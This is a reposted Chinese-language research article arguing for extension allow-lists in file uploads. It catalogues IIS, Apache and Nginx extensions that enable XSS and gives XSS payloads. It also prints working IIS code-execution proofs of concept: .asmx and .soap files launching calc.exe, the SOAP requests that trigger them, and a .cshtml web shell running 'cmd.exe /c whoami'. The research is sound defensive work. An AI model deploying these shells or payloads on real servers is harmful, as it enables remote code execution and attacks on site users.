特殊后綴上傳(為什么用白名單不用黑名單)


通常,在編寫負責文件上傳的代碼時,您會使用“白名單”(當您只能上傳具有某些擴展名的文件時)或“黑名單”(當您可以上傳任何文件時,檢查下載文件的擴展名)不包括在列表中)。

@ ldionmarcil的 職位,我決定要了解網絡的服務器如何流行的各類擴展的互動。首先,我對Web服務器在不同文件類型上返回哪種內容類型感興趣。

開發人員通常在黑名單中僅包含眾所周知的擴展名。在本文中,我不想考慮不廣泛使用的文件類型。

為了演示PoC,我使用了以下負載:

  • 基本的XSS有效負載: <script>alert(1337)</script>
  • 基於XML的XSS有效負載: <a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1337)</a:script>

下面,我將顯示這項小研究的結果。


IIS Web服務器

默認情況下,IIS以文件類型上的text / html內容類型作為響應,其顯示在下面的列表中:

基本向量的擴展:

  • .cer
  • .hxt
  • .htm

替代文字

因此,可以將基本的XSS向量粘貼到上載的文件中,打開文檔后,我們將在瀏覽器中顯示一個警告框。下面的列表包括IIS對其進行響應的擴展,其內容類型允許通過基於XML的向量執行XSS。

基於XML的矢量擴展:

  • .dtd
  • .mno
  • .vml
  • .xsl
  • .xht
  • .svg
  • .xml
  • .xsd
  • .xsf
  • .svgz
  • .xslt
  • .wsdl
  • .xhtml

替代文字

默認情況下,IIS還支持SSI,但是出於安全原因,禁止執行部分

SSI擴展:

  • .stm
  • .shtm
  • .shtml

替代文字

有關SSI更詳細的信息被寫在帖子@ldionmarcil

此外:

還有另外三個有趣的擴展名(.asmx和.soap和.cshtml),它們可能導致任意代碼執行。它是與Yury Aleinov(@YuryAleinov)合作發現的。

Asmx擴展

  1. 如果您可以上傳擴展名為.asmx的文件,則可能導致任意代碼執行。例如,我們獲取了具有以下內容的文件:

    <%@ WebService Language="C#" Class="MyClass" %>
    using System.Web.Services;
    using System;
    using System.Diagnostics;
    
    
     [WebService(Namespace="")]
     public class MyClass : WebService 
     {
         [WebMethod]
         public string Pwn_Function()
         {
             Process.Start("calc.exe");
             return "PWNED";
         }
     }
    

    替代文字

  2. 然后,我們向發布的文檔發送了POST請求:

    POST /1.asmx HTTP/1.1
    Host: localhost
    Content-Type: application/soap+xml; charset=utf-8
    Content-Length: 287
       
    <?xml version="1.0" encoding="utf-8"?>
    <soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
      <soap12:Body>
        <Pwn_Function/>
      </soap12:Body>
    </soap12:Envelope>
    

    替代文字

  3. 結果,IIS執行了“ calc.exe”

cshtml

上傳下面內容的cshtml

@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;
@functions {
string ExecuteCommand(string command, string arguments = null)
{
var output = new System.Text.StringBuilder();
var process = new Process();
var startInfo = new ProcessStartInfo
{
FileName = command,
Arguments = arguments,
WorkingDirectory = HttpRuntime.AppDomainAppPath,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
process.StartInfo = startInfo;
process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
             process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit();
return output.ToString();
}
}
   @{
var cmd = ExecuteCommand("cmd.exe", "/c whoami");
     }
Output of the injected command (killer):
@cmd

soap擴展名

具有.soap擴展名的上傳文件的內容:

<%@ WebService Language="C#" Class="MyClass" %>
using System.Web.Services;
using System;

public class MyClass : MarshalByRefObject
{
    public MyClass() { 
	    System.Diagnostics.Process.Start("calc.exe");
	}		     
}

SOAP請求:

POST /1.soap HTTP/1.1
Host: localhost
Content-Length: 283
Content-Type: text/xml; charset=utf-8
SOAPAction: "/"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <MyFunction />
  </soap:Body>
</soap:Envelope>

替代文字


Apache(httpd或Tomcat)

基本向量的擴展:

  • .shtml
  • .html.de或.html.xxx(xxx-任何字符)*

基於XML的矢量擴展:

  • .rdf
  • .xht
  • .xml
  • .xsl
  • .svg
  • .xhtml
  • .svgz

*如果擴展名中“ .html。”后面有任何字符,則Apache將以text / html content-type進行響應。

替代文字

此外:

Apache對大量具有不同擴展名的文件返回不帶Content-type標頭的響應,這允許XSS攻擊,因為瀏覽器通常決定如何自行處理此頁面。本文包含有關此問題的詳細信息。例如,擴展名為.xbl和.xml的文件在Firefox中的處理方式類似(如果響應中沒有Content-Type標頭),因此有可能在此瀏覽器中使用基於XML的向量來利用XSS。


Nginx的

基本向量的擴展:

  • .htm

基於XML的矢量擴展:

  • .svg
  • .xml
  • .svgz


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM